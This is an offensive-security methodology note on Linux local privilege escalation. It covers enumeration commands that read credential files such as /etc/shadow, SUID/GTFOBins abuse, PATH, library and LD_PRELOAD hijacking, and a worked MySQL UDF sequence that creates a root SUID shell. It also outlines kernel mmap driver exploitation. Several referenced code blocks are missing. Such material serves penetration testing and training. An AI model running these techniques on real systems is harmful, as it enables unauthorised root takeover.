Local privilege escalation
Linux - Local Privilege Escalation
The following note assumes that a low privilege shell could be obtained on the target. Some privilege techniques detailed rely on a fully TTY shell.
To leverage a shell from a Remote Code Execution (RCE) vulnerability please refer to the [General] Shells
note.
“The more you look, the more you see.” ― Pirsig, Robert M., Zen and the Art of Motorcycle Maintenance
Enumeration
Basic enumeration
Description | Command |
---|---|
OS | cat /etc/*-release cat /etc/lsb-release |
Kernel | uname -a cat /proc/version rpm -q kernel |
Current user | id whoami |
All users | cat /etc/passwd |
Current user sudo rights | sudo -l |
Sudo configuration – Privileged command | cat /etc/sudoers |
Super users | awk -F: '($3 == "0") {print}' /etc/passwd |
Logged in users | who -a w finger pinky users |
Logged in history from /var/log/lastlog | lastlog lastlog PIPE grep -v "Never" |
Users hashes – Privileged command | cat /etc/shadow (AIX Linux) cat /etc/security/passwd |
Writable directories
Being able to write files on the system is needed for scripting the enumeration process and exploiting kernel vulnerabilities.
The following directories are usually writable to all:
To find directories the current user can write into:
Enumeration scripts
Most of the enumeration process detailed below can be automated using scripts. To upload the scripts on the target, please refer to the [General] File transfer
note.
Personal preference:
linux-smart-enumeration.sh
+LinEnum.sh
+linux-exploit-suggester.sh
(with kernel and packages checks, run off target)linux-exploit-suggester-2.pl
+linux-soft-exploit-suggester
Recommended scripts
The LinEnum.sh
and linux-smart-enumeration
are maintained scripts that enumerate the system configuration using more than 65 checks (OS & kernel information, home directories, sudo acces, SUID/GUID files, configuration files, etc.).
The linux-exploit-suggester.sh
and linux-exploit-suggester-2.pl
(evolution of linux-exploit-suggester.pl
) are maintained scripts that check for publicly known vulnerabilities and exploits in the Linux kernel and installed packages of the target.
The linux-exploit-suggester.sh
script require Bash
to be in version 4.0 or higher. The script can be used off the targeted box, by gathering the OS, Kernel and installed packages versions.
Or directly on the targeted box:
The linux-soft-exploit-suggester
finds exploits for vulnerable packages in a Linux system. It focuses on software packages instead of Kernel vulnerabilities. It uses the exploit-db
database to evaluate the security of packages and search for exploits, so an export of available exploits must be provided to the script:
Worth mentioning scripts
The BeRoot.py
script enumerates common misconfigurations, with a bit more advanced checks (GTFOBins, NFS Root Squashing, etc.) details than LinEnum.sh
. It additionally, embeds linux-exploit-suggester
to give an overview of potential CVE that affect the kernel.
However, BeRoot.py
requires Python
to be installed on the target and is not practical to use.
Outdated scripts
The Linuxprivchecker.py
script enumerates the system configuration and runs privilege escalation checks to recommend kernel privilege escalation exploits. The linux-exploit-suggester.py is not maintained anymore.
File systems
Mounted partitions and drives
The following commands can be used to display all mounted file systems:
Clear text passwords in files
Search for clear text passwords stored in files. Use the keyword 'password' first and broaden the search if needed by searching for 'pass':
Users home directories content
The users home directories may contain sensible information such as config files or history files. The following commands can be used to display the content of the users home directories:
SSH private-keys and configurations
Services configuration
The following commands can be used to list the configuration files present on the system. The files in the /etc
folder are more likely to be active configurations and should be reviewed first.
Hidden files
To list the hidden files present on the system:
World-writeable and "nobody" files
The following commands can be used to list the files that are world writeable or that do not have a owner:
Others files of potential interest
The following files and directories may contain interesting information:
Privileges escalation through SUID / SGID binaries
SUID
/ SGID
binaries are executed, respectively, with the privileges of the user or group owner of the file. A number of misconfigurations of SUID
/ SGID
binaries can be leveraged for privilege escalation.
Note that execution of SUID
/ SGID
binaries only set the effective uid (euid)
(to the one of the owner of the binary) and not the real uid (ruid)
. The euid
is the uid
used by the current process, and the ruid
is the "true" uid
of the user, used to restore the original uid
upon termination of the process. Some utilities, such as sh
or bash
, will drop the euid
if it's not equal to the ruid
for security reason.
Find SUID/GUID files and directories
The find
utility can be used to list the SUID
/ GUID
binaries present on the local system:
Look for GTFOBins
or any unusual binaries in the list of SUID
/ GUID
files enumerated.
"GTFOBins"
The GTFOBins
are binaries that can be used to bypass local security restrictions and notably escape to execute commands through a shell.
The following binaries can be exploited to elevate privileges on the system if run with the SUID
/ SGID
bit set:
aria2c | ash | awk | base64 | bash | busybox | cat | chmod | chown | cp |
csh | curl | cut | dash | date | dd | diff | dmsetup | docker | ed |
emacs | env | expand | expect | find | flock | fmt | fold | gdb | git |
grep | head | ionice | jjs | jq | jrunscript | ksh | ld.so | less | lua |
make | more | mv | mysql | nano | nc | nice | nl | nmap | node |
od | perl | pg | php | pic | pico | python | rlwrap | rpm | rpmquery |
rsync | run-parts | scp | sed | setarch | shuf | socat | sort | sqlite3 | start-stop-daemon |
stdbuf | strace | tail | tar | taskset | tclsh | tee | telnet | tftp | time |
timeout | ul | unexpand | uniq | unshare | vi | vim | watch | watch | wget |
xargs | xxd | zip | zsh |
For a more comprehensive / updated list of GTFOBins
, and their respective privileges escalation sequences, please refer to:
Relative binary call and PATH exploit
If a binary with the SUID
/ SGID
bit set runs another binary with out specifying its full path, it can be leveraged to escalate privileges on the system. The vulnerability arise because the Linux operating system relies on the current user PATH
environment variable to find the binary called and not the path of the owner of the SUID
/ SGID
binary.
Note that this attack primitive is not applicable to binaries executed through sudo
, if the secure_path
value is set in the sudoers
file. If set, the PATH
defined in the PATH
value will indeed be used instead of the PATH
environment variable for the commands executed through sudo
.
To detect that a SUID
/ SGID
binary is calling others binaries with out specifying their full path, the Linux strings
utility can be used:
The exploit sequence is as follow:
Include a writable by the current user folder in the
PATH
environment variable. Do not use a folder writable by all users as it could be used against the current user and would lower the system security level.export PATH=/home/<USERNAME>:$PATH
Create a binary named after the binary called by the
SUID
/SGID
binary in the added folder. If the arguments used for the call permit it,bash
orsh
can be used directly. If not, the following C code can be used to compile a binary executing/bin/bash
under the privilege of the user or group owner of theSUID
/SGID
binary. Refer to the[General] Shells
note for reverse shell payloads if needed.Execute the vulnerable
SUID
/SGID
binary.
Exploit through dynamic / shared library
The search order for the Linux dynamic linker is as follow, as stated in the ld man page
:
Any directories specified by the
-rpath-link
option (only effective at link time).Any directories specified by the
-rpath
option (only effective at runtime). This option sets theRPATH
/DT_RPATH
orRUNPATH
/DT_RUNPATH
attribute of a binary.From the content of the
LD_RUN_PATH
environment variable (if neither-rpath-link
nor-rpath
options were used at compile time).From the content of the
LD_LIBRARY_PATH
environment variable.The default directories, normally
/lib
and/usr/lib
.The list of directories configured in the
/etc/ld.so.conf
file.The directories searched by the dynamic linker within the
/etc/ld.so.conf
configuration can be listed (in order) using theldconfig
utility:
Note that for SUID
/ SGID
binaries, the LD_RUN_PATH
and LD_LIBRARY_PATH
environment variables cannot be leveraged for privilege escalation, as the environment variables of the owner of the file are used (instead of the environment variable of the user executing the binary).
Library exploit code example.
The following exploit code can be used to compile a shared library executing /bin/bash
as the user or group owner of the SUID
/ SGID
binary (retrieved with geteuid()
) upon being loaded:
SUID / SGID binary compiled with the RPATH / RUNPATH option.
As described in the dynamic library search order above, any shared library stored under the directory specified (at compile time) by the -rpath
option will be loaded over libraries from any other locations. If an user has the rights to write files in a folder specified in the RPATH
/ RUNPATH
of a SUID
/ SGID
binary, the binary could be leveraged for privilege escalation.
The objdump
utility, among others, can be used to determine if a given binary has been compiled with the RPATH
option (-rpath='<DIRECTORY_PATH>
):
Then the aforementioned exploit code, or the following code to exploit more specifically the libc.so
can be used to execute a shell with the privileges of the SUID
/ SGID
binary owner:
Dynamic / shared library link order hijacking.
If an user has the right to create or modify files in a directory present in the dynamic linker search order, the loading of an arbitrary dynamic / shared library by an SUID
/ SGID
binary (or a binary executed with higher privileges through sudo
) could be induced.
The following scenarios may arise:
rights to overwrite a legitimate library loaded by the targeted
SUID
/SGID
binary. May impact other programs loading the library and induce system instability.rights to create a file in a directory taking precedence in the search order over the directory containing the legitimate library. May also impact other programs loading the library and induce system instability.
rights to create a file in a directory in the search order and the targeted
SUID
/SGID
binary attempts to load a non-existing library.
The ldd
utility can be used to enumerate the shared libraries imported by a binary, while the strace
utility can be used as a complement to trace the eventual libraries loaded at runtime with calls to dlopen
.
The aforementioned exploit code can, for example, be used to execute a shell under the effective user id of root through a SUID
/ SGID
binary. The library should simply be placed in the targeted directory or as a replacement of an existing library.
Privilege escalation through sudo
Note that, contrary to SUID
/ SGID
binaries, the sudo
utility set both the effective uid (euid)
and the real uid (ruid)
(to the uid
of the user whose identity is assumed through sudo
).
"GTFOBins"
Similarly to SUID
/ GUID
binaries, any GTFOBins
program that allows arbitrary commands execution can be leveraged for privilege escalation if defined to be executable with higher privileges in a sudo
entry.
GTFOBins
binaries are referenced on the gtfobins.github.io
website.
LD_PRELOAD
If the LD_PRELOAD
environment variable is set to be kept in the sudo
configuration (env_keep += LD_PRELOAD
set in the /etc/sudoers
file), it may be possible to obtain code execution under the privileges assumed through sudo
. The LD_PRELOAD
environment variable can indeed be leveraged to induce the utility executed through sudo
(with hopefully higher privileges) to load an arbitrary shared library (.so
).
The following code example simply executes /bin/bash
under the identity of the user executing the binary, and can be leveraged to elevate privilege (if loaded by a binary executed under a more privileged user through sudo
). The _init
special function gets called as the library is first opened.
The sudo
configuration can be retrieved using sudo -l
(if the current user as the required privileges to execute sudo
). The following example output shows a vulnerable sudo
configuration allowing for privilege escalation:
gcc
, among other compilers, can be used to compile a shared library leveraging the exploitation code example above to obtain a shell under the privileges assumed through sudo
.
Linux groups
The membership of the compromised user to one of the groups listed below may, under certain circumstances, lead to a local elevation of privilege.
staff
The staff
group allows users to add local modifications to the system /usr/local
directory without needing root privileges. By default, no user belongs to this group.
Users belonging to this group can thus add and modify the binaries present in /usr/local/bin
and /usr/local/sbin
. As both directories are by default the two first entries in the PATH
for, among others, the root
user, the membership to this group can be leveraged to hijack root
binary use, resulting in local privilege escalation.
To simply hijack a binary call, an executable script with the binary name can be placed under /usr/local/sbin
or /usr/local/bin
. In order to maintain the system operability and attain a certain level of covertness, the legitimate binary can be called at the end of the script.
For example, the following commands can be used to hijack the specified binary and add the compromised user to the sudoers
whenever root makes use of the binary:
A reverse shell commands can be used as well, refer to the [General] shells
note for potential reverse shell one-liners and scripts.
The pspy
utility can be used to monitor the local process to check if a recurring task executed under root
privileges (UID=0
) could be immediately exploited.
Unpatched kernel and services
Compilers/languages installed/supported
The supported languages may be leveraged to compile exploit against the operating system / kernel and services.
To find out which compilers / languages can be used:
If no compilers are available on the system, it is recommended to compile the exploit on a similar kernel and upload the binary to the target, refer to the General - File transfer
note to do so.
Verify the transferred binary integrity using the Linux builtin md5sum
.
OS and kernel versions
To retrieve the Linux operating system and kernel versions:
Installed packages and binaries
The installed programs should be reviewed for potential known vulnerabilities. To review the installed programs on the target:
Exploits detection tools
The enumeration scripts linux-exploit-suggester.sh can be used on or off target, if provided with the uname -a
output and the installed packages list (dpkg -l
or rpm -qa
command output), to enumerate potential exploits for the targeted box.
Refer to the "Enumeration - Enumeration scripts" part above for more information and usage guides to the most well known local exploit suggester scripts.
File transfer
To transfer the exploit code on the target box, refer to the General - File transfer
note.
Processes and services
The processes running should be reviewed for known exploits, with a special attention given to the processes running under root privileges. The command line arguments used to start the process should be reviewed for sensible information. Additionally, a deeper analyze of non standard processes should be conducted with particular attention given to processes running as root.
Enumerate running processes and services
By default on Linux, all processes can be listed by unprivileged and non owner users. However, the system can be hardened in order to limit processes listing to self owned processes. This configuration is made through the mount option hidepid
on the proc
file system. The following values can be defined for the attribute:
hidepid=0
(default), all world-readable/proc/<PID>/*
files, meaning every process can be listed and potentially sensible information retrieved ;hidepid=1
, directories entry in theproc
file system (PID
folders) can be listed but files and subdirectories accessed may not accessed, except for owned processes ;hidepid=2
, As for mode 1, but in addition the/proc/<PID>
directories belonging to other users become invisible. This doesn't hide the fact that a process with a specific PID value exists (it can be learned by other means, for example, bykill -0 $PID
), but it hides a process's UID and GID, which could otherwise be learned by employingstat
on a/proc/<PID>
directory. If configured, this option greatly limit the information available and notably makes it impossible to determine if processes are started by privileged users.
Additionally, the mount option gid
specifies the ID of a group whose members are authorized to learn process information otherwise prohibited by hidepid
. In other words, users in this group behave as though the proc
file system was mounted with hidepid=0
.
The current processes can be listed using the ps
Linux utility:
Depending on the ps utility version either a or e may be used to include processes belonging to other users
ps aux
Includes environment variable, verbose
ps auxeww
ps aux | grep root ps ef | grep root
Listening services
netstat -antup ss -twurp
MySQL
If a MySQL
service is running under root privileges and MySQL
credentials for an user with FILE privileges are known, local privilege escalation can be achieved.
Refer to the File system - Clear text passwords in files
part above for finding potential MySQL credentials present on the server. A blank password for the root user account is worth trying as well, especially if the MySQL
service is only exposed locally on the server.
The raptor_udf.c
(https://www.exploit-db.com/raw/1518) dynamic library can be used to leverage those pre requisites to conduct a local privilege escalation.
gcc -g -c raptor_udf.c gcc -g -shared -W1,-soname,raptor_udf.so -o raptor_udf.so raptor_udf.o -lc mysql -u root -p mysql> use mysql; mysql> create table foo(line blob);
Do not forget to change
mysql> insert into foo values(load_file('/raptor_udf.so')); mysql> select * from foo into dumpfile '/usr/lib/raptor_udf.so'; mysql> create function do_system returns integer soname 'raptor_udf.so'; mysql> select * from mysql.func;
+-----------+-----+---------------+----------+
| name | ret | dl | type |
+-----------+-----+---------------+----------+
| do_system | 2 | raptor_udf.so | function |
+-----------+-----+---------------+----------+
Test the privileges obtained
mysql> select do_system('id > /tmp/out; chmod 0755 /tmp/out');
Refer to General - Shells - Binary - Linux C binary for SUID shell for the source C code for the SUID sh binary.
mysql> select do_system('chown root.root /tmp/suid; chmod 4755 /tmp/suid');
mysql> ! sh sh$ /tmp/suid
Python library hijacking
When importing a library, using import <LIBRARY_NAME>
, the Python interpreter will first search in the interpreted script folder for the library and then cycle through a predefined list of libraries folders.
A Python library hijacking can be leveraged to elevate privileges on the system whenever the current user has write access either in the Python libraries import folders or in the directory of a Python script that can (sudo
and suid
) or will (cron
, init.d
, etc.) be run with higher privileges.
The following commands can be used to enumerate the Python import libraries folders and list their access rights:
Potentially exploitable Python scripts should be identified when conducting the privileges escalation methodology. Additionally, the find
Linux built-in can be used to exhaustively list all Python scripts present on the system as well as folders containing a Python and writable by the current user for further investigation:
In order to successfully exploit a Python library hijacking, it is recommended to completely copy the hijacked library, only adding a payload to the existing library code. The following payloads can be used:
For more Python reverse shell payloads, refer to the [General] Shells
note.
Kernel drivers mmap
handler exploitation
mmap
handler exploitationTraditionally, the standard practice is to build device drivers as kernel modules loaded to run in the kernel (Ring 0
on x86 CPUs). While some device drivers can also run in user land, this approach is usually not preferred, mainly for performance and access sharing reasons. Although not common, drivers may also be built statically into the kernel file on disk. Devices drivers are thus usually running under high privileges and should be considered in the attack surface for privileges escalation.
The access and communications to the drivers are made using device files, located in the /dev
directory. These devices drivers files may support all of the regular functions of normal Linux files such as open
, read
and close
operations as well as mmap
operations, which are used to create a new mapping in the virtual address space of the calling process. The main purpose of using an mmap
handler in a driver is to speed up data exchange between kernel space and user land, by setting a memory buffer in kernel space accessible from user land without the need of additional syscalls.
A possible issue in drivers mmap
implementation is the lack of verification of process supplied size allocation range. A vulnerable driver could potentially allows a user space process to mmap
all of the physical memory address space of the kernel memory.
A total, or partial, mmaping of the kernel memory could be leveraged to elevate the privileges of the calling process by modifying its cred
struct, which contains, among others variables, the process uids
and gids
:
The exploitation process is as follow:
Retrieve the current process credentials (
uids
,gids
andcapabilities
).mmap
kernel space memory using a vulnerable driverScan the mmaped memory to find a pattern of 8 integers which matches the current process credentials
Replace the
uids
/gids
with a value of 0 (root
) and callgetuid()
to check if the current processuid
was modifieda. if the
uid
of the current process was modified, privileges escalation has been achieved and a call to/bin/sh
, for example, can be used to execute commands asroot
b. Otherwise, the previousuids
/gids
values are restored and the search, repeating from step 3, continues
Note that sometimes the whole address space of the kernel memory may not be mapped, and the process above will fail as the current process credentials may not be present in the mapped memory address space. In those specific cases, and in a black box approach, a cred
structure spray can be undertaken, by creating a large number of child processes, each conducting the exploitation steps above and implemented to notify the parent process in case of successful exploitation.
For more information and a detailed explanation of the attack, refer to the whitepaper MWR Labs Whitepaper - Kernel Driver mmap Handler Exploitation
:
Enumeration of devices drivers supporting mmap
operations
To conduct mmap
operations on a device driver, write
permission on the device drive file is needed. The following command can be used to enumerate the device drivers files the current user as write
access to:
find /dev -perm -2 -exec ls -ld {} ; 2>/dev/null | grep -v "lrwxrwxrwx"
The following result demonstrates that the specific device driver supports mmap
operations:
Exploitation of a vulnerable mmap
handler device driver implementation
The following C
code implements the exploitation process presented above and open an sh
interpreter in case of successful modification of the current process uids
/gids
:
Root write access
Capabilities
https://medium.com/@int0x33/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099
References
https://book.hacktricks.xyz/linux-unix/privilege-escalation
https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=299007
https://unix.stackexchange.com/questions/47208/what-is-the-difference-between-kernel-drivers-and-kernel-modules
https://bitvijays.github.io/LFC-BinaryExploitation.html
https://www.boiteaklou.fr/Abusing-Shared-Libraries.html
Last updated